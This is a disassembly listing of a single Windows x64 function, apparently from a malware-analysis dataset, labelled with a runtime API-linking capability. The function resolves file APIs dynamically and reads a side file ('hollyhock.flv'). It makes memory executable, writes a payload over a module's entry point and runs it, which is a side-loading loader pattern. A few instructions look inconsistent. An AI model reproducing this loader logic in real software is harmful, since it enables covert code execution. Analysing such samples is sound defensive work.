Function at 0x1800010b0
Capabilities:
Link many functions at runtime

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov rcx, qword [str.KERNEL32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
mov rax, qword [0x18000102c]
mov ecx, dword [0x180001044]
mov rsi, qword [rax + 0xd1f0]
call rsi
mov edx, dword [0x180001044]
mov rbx, rax
mov rcx, rax
call fcn.180001078
mov rdx, qword [str.GetModuleFileNameW]
mov rcx, r12
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
mov r8d, 0x104
mov rdx, rbx
xor ecx, ecx
call rax
mov r9, qword [sym.jli.dll_JLI_AddArgsFromEnvVar]
xor eax, eax
mov edx, eax
cmp word [rbx + rdx*2], 0
je 0x180001129
inc eax
jmp 0x18000111c
lea ecx, [rax - 1]
cmp word [rbx + rcx*2], 0x5c
je 0x18000113d
mov word [rbx + rax*2], 0
mov eax, ecx
jmp 0x180001129
xor edx, edx
lea r8d, [rax + rdx]
mov ecx, edx
movsx cx, byte [r9 + rcx]
test cl, cl
je 0x180001158
mov word [rbx + r8*2], cx
inc edx
jmp 0x18000113f
mov rdx, qword [str.CreateFileW]
mov rcx, r12
call rdi
xor r9d, r9d
mov rcx, rbx
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x30], 0
mov r8d, 1
mov edx, 1
add byte [rax], al
mov dword [rsp + 0x20], 3
call rax
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x18000132b
mov rdx, qword [str.GetFileSize]
mov rcx, r12
call rdi
xor edx, edx
mov rcx, rbx
call rax
mov ecx, dword [0x180001040]
mov dword [rsp + 0x4c], eax
call rsi
mov edx, dword [0x180001040]
mov rbp, rax
mov rcx, rax
call fcn.180001078
mov rdx, qword [str.ReadFile]
mov rcx, r12
call rdi
mov dword [rsp + 0x50], 0
mov rdx, rbp
mov rcx, rbx
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x4c]
call rax
test eax, eax
je 0x18000132b
mov eax, dword [0x180001034]
xor edx, edx
mov esi, dword [rsp + 0x50]
add rax, rbp
mov r8d, dword [rax]
mov ecx, dword [rax + 4]
cmp r8d, edx
jbe 0x180001227
add dword [rax + rdx*4 + 8], ecx
inc rdx
jmp 0x180001219
mov ebx, dword [0x180001028]
mov rcx, r12
add rbx, rax
lea rdx, [rbx + 1]
call rdi
test rax, rax
mov r13, rax
je 0x18000132b
movsx rax, byte [rbx]
mov rcx, r12
add rbx, rax
lea rdx, [rbx + 1]
call rdi
test rax, rax
mov rdi, rax
je 0x18000132b
movsx rax, byte [rbx]
add rbx, rax
lea rcx, [rbx + 1]
call r13
test rax, rax
je 0x18000132b
movsx rdx, byte [rbx]
add rbp, rsi
mov r8d, 0x40
mov dword [rsp + 0x54], 0
lea r14, [rsp + 0x54]
mov r9, r14
add rbx, rdx
movsxd rdx, dword [rax + 0x3c]
mov r13d, dword [rbx + 8]
lea r15, [rbx + 0xc]
mov esi, dword [rbx + 4]
mov ebx, dword [rax + rdx + 0x2c]
lea r12, [r15 + r13]
mov rdx, r13
mov dword [rsp + 0x4c], esi
add rbx, rax
mov rcx, rbx
call rdi
mov rcx, rbx
mov r8d, r13d
mov rdx, r15
call fcn.180001090
mov rdx, r13
mov rcx, rbx
mov r9, r14
mov r8d, dword [rsp + 0x54]
call rdi
mov esi, dword [rsp + 0x4c]
xor edx, edx
add rbx, rsi
mov rcx, qword [str.hollyhock.flv]
lea rax, [rdx + rdx]
add rax, rbp
cmp byte [rcx + rdx], 0
je 0x18000130f
mov rax, qword [str.hollyhock.flv]
movsx ax, byte [rax + rdx]
mov word [rbp + rdx*2], ax
inc rdx
jmp 0x1800012e5
mov word [rax], 0
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x68], 1
call rbx
nop
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret